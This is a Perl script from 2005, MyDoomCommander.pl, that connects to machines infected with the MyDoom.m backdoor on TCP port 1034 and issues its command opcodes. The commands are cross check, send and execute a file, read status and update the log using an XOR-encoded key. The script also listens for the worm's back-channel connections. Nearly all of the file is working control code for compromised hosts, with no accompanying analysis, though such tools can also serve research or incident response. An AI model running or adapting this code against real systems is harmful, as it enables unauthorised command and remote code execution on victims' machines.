#!/usr/local/bin/perl
#
# $Id: MyDoomCommander.pl,v 1.2 2005/01/20 01:04:37 rdilley Exp $
#
# author: ron dilley
#
# desc: this perl script controls a system infected with the MyDoom.m backdoor
#
# Copyright (C) 2004  Ron A. Dilley
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; version 2
# of the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
#
# ron.dilley@uberadmin.com
#
############################################################################

#
# modules
#
use Getopt::Std;
use Socket;
use Fcntl;
use FileHandle;
use POSIX "sys_wait_h";
use POSIX;

#
# pragmas
#
use strict;

#
# set environment
#
$ENV{PATH} = "/usr/bin:/bin:/usr/sbin:/sbin:/usr/ucb";

#
# turn on autoflush
#
select STDERR; $| = 1;
select STDOUT; $| = 1;

#
# defines
#
$::TRUE = 1;
$::FALSE = 0;
$::FAILED = -1;

$::VERSION = '$Id: MyDoomCommander.pl,v 1.2 2005/01/20 01:04:37 rdilley Exp $';
$::PROGNAME = "MyDoomCommander.pl";

%::Config = ();
$::Config{'debug'} = $::FALSE;

$::Config{'d_port'} = "1034";
$::Config{'protocol'} = getprotobyname( 'tcp' );

#
# main routine
#
if ( &main() != $::TRUE ) {
  exit( 1 );
}

exit( 0 );

############################################################################
#
# sub-routines
#

#
# main routine
#
sub main {
  my $arg;

  #
  # display script banner
  #
  &show_banner();

  #
  # parse command-line
  #
  &parse_command_line();

  # process args that are left
  while( $arg = shift( @::ARGV ) ) {
    &control_target( $arg, $::Config{'d_port'} );
  }

  # done
  return $::TRUE;
}

#
# display banner info
#
sub show_banner {
  print STDERR "$::VERSION\n";
  print STDERR "By: Ron Dilley\n";
  print STDERR "\n";
  print STDERR "$::PROGNAME comes with ABSOLUTELY NO WARRANTY.\n";
  print STDERR "This is free software, and you are welcome\n";
  print STDERR "to redistribute it under certain conditions;\n";
  print STDERR "See the GNU General Public License for details.\n";
  print STDERR "\n";

  return $::TRUE;
}

#
# display help info
#
sub show_help {
  print STDERR "Syntax:\n";
  print STDERR "\n";
  print STDERR "$::PROGNAME [options] {target} [{target} ...]\n";
  print STDERR "\n";
  print STDERR "-d {0-9}   Display debug information during program run\n";
  print STDERR "-s         Request a status check\n";
  print STDERR "-l         Update the remote logfile\n";
  print STDERR "-x         Cross Check\n";
  print STDERR "\n";

  return $::TRUE;
}

#
# parse command-line arguments
#
sub parse_command_line {
  no strict 'vars';

  if ( getopts( 'd:splxi:' ) == $::FALSE ) {
    &show_help();
    return $::FAILED;
  }
  if ( defined $opt_d ) {
    if ( $opt_d > 0 ) {
      # set debug mode
      $::Config{'debug'} = $opt_d;
    }
  }
  if ( defined $opt_i ) {
    $::Config{'sip_addr'} = $opt_i;
  }
  if ( defined $opt_x ) {
    $::Config{'cross_check'} = $::TRUE;
  }
  if ( defined $opt_p ) {
    $::Config{'push_file'} = $::TRUE;
  }
  if ( defined $opt_l ) {
    $::Config{'update_log'} = $::TRUE;

  }
  if ( defined $opt_s ) {
    $::Config{'get_status'} = $::TRUE;
  }

  return $::TRUE;
}

#
# control target
#
sub control_target {
  my ( $d_addr, $d_port ) = @_;
  my $current_line;
  my $read_buf;
  my $write_buf = "";
  my $old_read_buf = "";
  my $write_buf_size = 0;
  my $net_blksize;
  my $log_line;
  my $curpos;
  my $read_count;
  my $write_count;
  my $write_size;
  my $write_offset;
  my $i;
  my @buf;
  my @tmp_buf;
  my $sleep_count = 0;
  my $count = 10;
  my $client_fh = new FileHandle;
  my $ret;
  my @return;
  my $out_i_addr = Socket::inet_aton( $d_addr );
  my $out_p_addr = Socket::sockaddr_in( $d_port, $out_i_addr );

  if ( $::Config{'debug'} >= 2 ) {
    print "DEBUG - Connecting to [$d_addr]\n";
  }

  # create a socket
  if ( ! defined socket( $client_fh, Socket::PF_INET, Socket::SOCK_STREAM, $::Config{'protocol'} ) ) {
    print "ERROR - Unable to create socket\n";
    return $::FAILED;
  }

  # open connection
  while ( ! defined connect( $client_fh, $out_p_addr ) ) {
    print "WARNING - Unable to connect to server, retrying\n";
    $count--;
    if ( $count == 0 ) {
      print "ERROR - Failed to connect to server";
      return $::FAILED;
    }
    sleep( 1 );
  }

  # force autoflush
  select $client_fh; $| = 1;
  select STDOUT;

  # get io block sizes
  $net_blksize = ( stat( $client_fh ) )[11];

  # disable blocking
  if ( ! defined fcntl( $client_fh, F_SETFL(), O_NONBLOCK() ) ) {
    print "ERROR - Unable to disable blocking on socket";
    return $::FAILED;
  }

  if ( $::Config{'cross_check'} ) {
    # build test pattern
    $buf[0] = 199;

    $write_buf_size = 1;
    $write_buf .= pack( "C" x $write_buf_size, @buf );
  } elsif ( $::Config{'push_file'} ) {
    $buf[0] = 200;

    if ( ! defined $::Config{'pfile_name'} ) {
      for ( $i = 1; $i < 257; $i++ ) {
	$buf[$i] = $i;
      }
      $write_buf_size = 257;
      $write_buf = pack( "C" x $write_buf_size, @buf );
      for ( $i = 0; $i < 256; $i++ ) {
	$buf[$i] = $i;
      }
      $write_buf_size += 256;
      $write_buf .= pack( "C" x $write_buf_size, @buf );
    } else {
      # load file into buffer
      
    }
    &hex_print( $write_buf, $write_buf_size );
  } elsif ( $::Config{'update_log'} ) {
    $buf[0] = 202;
    srand( time() ^ ( $$ + ( $$ << 15 ) ) );
    # build a new key
    $buf[1] = int( rand( 256 ) );
    $buf[2] = int( rand( 256 ) );
    $buf[3] = int( rand( 256 ) );
    $buf[4] = int( rand( 256 ) );
    if ( ! defined $::Config{'sip_addr'} ) {
      print "ERROR - Need a source IP addresses\n";
      return $::FAILED;
    }
    ( $tmp_buf[0], $tmp_buf[1], $tmp_buf[2], $tmp_buf[3] ) = unpack( "C4", Socket::inet_aton( $::Config{'sip_addr'} ) );
    $buf[5] = ( 0xff & ( $tmp_buf[0] ^ ~$buf[0] ) );
    $buf[6] = ( 0xff & ( $tmp_buf[1] ^ ~$buf[1] ) );
    $buf[7] = ( 0xff & ( $tmp_buf[2] ^ ~$buf[2] ) );
    $buf[8] = ( 0xff & ( $tmp_buf[3] ^ ~$buf[3] ) );
    for( $i = 0; $i < 26; $i++ ) {
      $buf[$i+8] = int( rand( 256 ) );
    }
    $write_buf_size = 33;
    $write_buf = pack( "C" x $write_buf_size, @buf );
    &hex_print( $write_buf, $write_buf_size );
  } elsif ( $::Config{'get_status'} ) {
    $buf[0] = 201;
    $write_buf_size = 1;
    $write_buf .= pack( "C" x $write_buf_size, @buf );
  }

  # send the commands
  # 199 cross check
  # 200 send and execute a file
  # 201 get status from zincite.log
  # 202 update log file

  # send the write_buffer
  $write_offset = 0;
  while( $write_buf_size > 0 ) {
    if ( $::Config{'debug'} >= 6 ) {
      print "DEBUG - [$write_buf_size] bytes left to send\n";
    }
    if ( $write_buf_size <= $net_blksize ) {
      # send it all at once
      $write_size = $write_buf_size;
    } else {
      # send a block full
      $write_size = $net_blksize;
    }

    if ( defined ( $write_count = syswrite( $client_fh, $write_buf, $write_size ) ) ) {
      if ( $write_count == 0 ) {
	print "ERROR - Problem while writting to socket\n";
	return $::FAILED;
      } elsif ( $write_count != $write_buf_size ) { # partial write, still stuff left in the write buffer
	# increment the write offset
	$write_offset += $write_count;
	# decrement the write buffer size
	$write_buf_size = $write_buf_size - $write_count;
	if ( $::Config{'debug'} >= 6 ) {
	  print "DEBUG - [$write_count] bytes written to socket, [$write_buf_size] bytes left\n";
	}
      } else { # everything was written
	if ( $::Config{'debug'} >= 6 ) {
	  print "DEBUG - [$write_count] bytes written to socket\n";
	}
	# cleanup
	$write_buf_size = 0;
      }
    } else {
      if ( $! == EAGAIN() ) {
	# no problem, keep going
	if ( $::Config{'debug'} >= 7 ) {
	  print "DEBUG - Write was throttled, sleeping\n";
	}
	sleep( 1 );
      } else {
	# problem, time to break out like a log rotate request, maybe the server was restarted
	print "ERROR - Problem while writting to socket\n";
	$write_buf_size = 0;
	return $::FAILED;
      }
    }
  }

  # try for 3 seconds, then give up and bail
  $count = 3;
  if ( ! defined $::Config{'push_file'} ) {
    # receive
    while( $count > 0 ) {
      $read_buf = "";
      if ( defined ( $read_count = sysread( $client_fh, $read_buf, 4096 ) ) ) {
	if ( $read_count > 0 ) {
	  if ( $::Config{'debug'} >= 6 ) {
	    print "DEBUG - [$read_count] bytes read from socket\n";
	  }
	  $::Config{'read_buf'} = $read_buf;
	  $::Config{'read_buf_size'} = $read_count;
	  &print_mydoom( $read_buf, $read_count );
	  $count = 0;
	}
      } else {
	if ( $! == EAGAIN() ) {
	  # no problem, keep going
	  sleep( 1 );
	  $count--;
	} else {
	  # problem, time to break out
	  print "ERROR - Problem while reading from socket\n";
	  return $::FAILED;
	}
      }
    }

    shutdown( $client_fh, 2 );

    if ( $::Config{'cross_check'} ) {
      # listen for the back-channel connection
      &listen_for_clients();
    }
  } else {
    sleep( 5 );
    shutdown( $client_fh, 2 );
  }

  print "INFO - Shutting down\n";

  return $::TRUE;
}

#
# print a buffer in hex format
#
sub hex_print {
  my ( $sbuf, $sbuf_len ) = @_;
  my $w;
  my $char;
  my $count = 0;
  my @buf = unpack( "C" x $sbuf_len, $sbuf );
  my $done = $::FALSE;

  while( ! $done ) {
    for( $w = 0; $w < 8; $w++ ) {
      if ( $w == 0 ) {
	printf( "%08x ", $count );
      }
      if ( defined ( $char = shift( @buf ) ) ) {
	$count++;
	printf( "%02x ", $char );
	if ( $w == 3 ) {
	  print " ";
	}
      } else {
	$done = $::TRUE;
      }
      if ( $w == 7 ) {
	print "\n";
      }
    }
  }
}

#
# interpret mydoom return data
#
sub print_mydoom {
  my ( $sbuf, $sbuf_len ) = @_;
  my $w;
  my $char;
  my $count = 0;
  my @buf = unpack( "C" x $sbuf_len, $sbuf );
  my $done = $::FALSE;
  my @key;

  $key[0] = shift( @buf );
  $key[1] = shift( @buf );
  $key[2] = shift( @buf );
  $key[3] = shift( @buf );

  printf( "INFO - Key: %02x %02x %02x %02x\n", $key[0], $key[1], $key[2], $key[3] );

  while( ! $done ) {
    for( $w = 0; $w < 4; $w++ ) {
      if ( defined ( $char = shift( @buf ) ) ) {
	if ( $w == 0 ) {
	  print "INFO - < ";
	}
	printf( "%d", 0xff & ( $char ^ ~$key[$w] ) );
	if ( $w < 3 ) {
	  print ".";
	} else {
	  print "\n";
	}
      } else {
	$done = $::TRUE;
      }
    }
  }
}

#
# listen for client connections
#
sub listen_for_clients {
  my $in_p_addr;
  my $child_pid;
  my $dead_pid;
  my @children;
  my $pipe_pid;
  my $name;
  my $read_buf;
  my $old_read_buf = "";
  my $read_count;
  my $net_blksize;
  my $i;
  my $terminate = $::FALSE;
  my $count = 30;

  # socket file handles
  my $server_fh = new FileHandle;
  my $client_fh = new FileHandle;

  # create socket
  if ( socket( $server_fh, Socket::PF_INET, Socket::SOCK_STREAM, $::Config{'protocol'} ) != $::TRUE ) {
    print "ERROR - Unable to open server socket\n";
    return $::FAILED;
  }

  # set socket options
  if ( setsockopt( $server_fh, Socket::SOL_SOCKET, Socket::SO_REUSEADDR, pack( "l", 1 ) ) != $::TRUE ) {
    print "ERROR - Unable to set socket options\n";
    return $::FAILED;
  }

  # bind to socket
  if ( bind( $server_fh, Socket::sockaddr_in( $::Config{'d_port'}, Socket::INADDR_ANY ) ) != $::TRUE ) {
    print "ERROR - Unable to bind to socket\n";
    return $::FAILED;
  }

  # allow reuse of addr
  if ( ! defined setsockopt( $server_fh, SOL_SOCKET, SO_REUSEADDR, 1 ) ) {
    print "ERROR - Unable to set server socket options\n";
    return $::FAILED;
  }

  # disable blocking
  if ( ! defined fcntl( $server_fh, F_SETFL(), O_NONBLOCK() ) ) {
    print "ERROR - Unable to disable blocking on socket\n";
    return $::FAILED;
  }

  # listen for new connections
  if ( listen( $server_fh, Socket::SOMAXCONN ) != $::TRUE ) {
    print "ERROR - Unable to listen to new connections\n";
    return $::FAILED;
  } else {
    print "INFO - Listening for new client connections\n";
  }

  while( $count > 0 ) {
    if ( defined ( $in_p_addr = accept( $client_fh, $server_fh ) ) ) {
      #
      # we have a new connection
      #

      #
      # lets fork and begin receiving data
      #

    FORK:

      if ( $child_pid = fork() ) {
	#
	# parent
	#

	if ( $::Config{'debug'} >= 4 ) {
	  print "DEBUG - My child is [$child_pid]\n";
	}

	# add child to pid list, for reaping
	push( @children, $child_pid );

      } elsif ( defined $child_pid ) {
	#
	# child
	#

	if ( $::Config{'debug'} >= 4 ) {
	  print "DEBUG - I am a child\n";
	}

	# close the server listener, we don't need it
	close( $server_fh );
	
	# get info about inbound connection
	my( $in_port, $in_i_addr ) = Socket::sockaddr_in( $in_p_addr );
	my $name = gethostbyaddr ( $in_i_addr, Socket::AF_INET );
	printf( "INFO - Connection from %s [%s] at port %d\n", $name, Socket::inet_ntoa( $in_i_addr ), $in_port );

	# get io block sizes
	$net_blksize = ( stat( $client_fh ) )[11];

	while ( ! $terminate ) {
	  if ( $::Config{'debug'} >= 8 ) {
	    print "DEBUG - About to read from socket\n";
	  }
	  $read_buf = "";
	  if ( defined ( $read_count = sysread( $client_fh, $read_buf, $net_blksize ) ) ) {
	    if ( $read_count > 0 ) {
	      if ( $::Config{'debug'} >= 6 ) {
		printf( "DEBUG - [%d] bytes read from socket\n", $read_count );
	      }
	      if ( unpack( "C", $read_buf ) == 199 ) {
		print "INFO - Got a status request!\n";
		syswrite( $client_fh, $::Config{'read_buf'}, $::Config{'read_buf_size'} );
		$terminate = $::TRUE;
	      }
	    } else {
	      # eof reached, time to break out
	      $terminate = $::TRUE;
	      print "ERROR - EOF on socket\n";
	    }
	  } else {
	    if ( $! == EAGAIN() ) {
	      # no problem, keep going
	      if ( $::Config{'debug'} >= 7 ) {
		print "DEBUG - Read error, Sleeping\n";
	      }
	      sleep( 1 );
	    } else {
	      # problem, time to break out
	      $terminate = $::TRUE;
	      print "INFO - Problem while reading from socket\n";
	    }
	  }
	}
	print "INFO - Connection shutting down\n";
	shutdown( $client_fh, 2 );
	exit( 1 );
      } elsif ( $! =~ /No more process/ ) {
	# EAGAIN, supposedly recoverable fork error
	sleep 5;
	redo FORK;
      } else {
	# wierd fork error
	print "ERROR - Can't fork: $!\n";
	shutdown( $client_fh, 1 );
	return $::FAILED;
      }
    } else {
      # no inbound connections
      $count--;

      #
      # check for zombie children
      #
      if ( $::Config{'debug'} >= 7 ) {
	print "DEBUG - Checking for zombie children\n";
      }
      for ( $i = 0; $i < scalar @children; $i++ ) {
	if ( ( $dead_pid = waitpid( $children[$i], WNOHANG ) ) ) {
	  if ( $::Config{'debug'} >= 2 ) {
	    if ( $? != 0 ) {
	      if ( ( $? & 0xff ) > 0 ) {
		printf( "DEBUG - Child returned non-zero exit status [%d]\n", $? & 0xff );
	      }
	      if ( ( $? >> 8 ) > 0 ) {
		printf( "DEBUG - Child exited with signal [%d]\n", $? >> 8 );
	      }
	      printf( "INFO - [$dead_pid] has terminated\n" );
	    }
	  }
	  # remove pid from child list
	  splice( @children, $i, 1 );
	}
      }
      sleep( 3 );
    }
  }

  print "INFO - Server shutting down\n";

  # cleanup
  close( $server_fh );

  return $::TRUE;
}
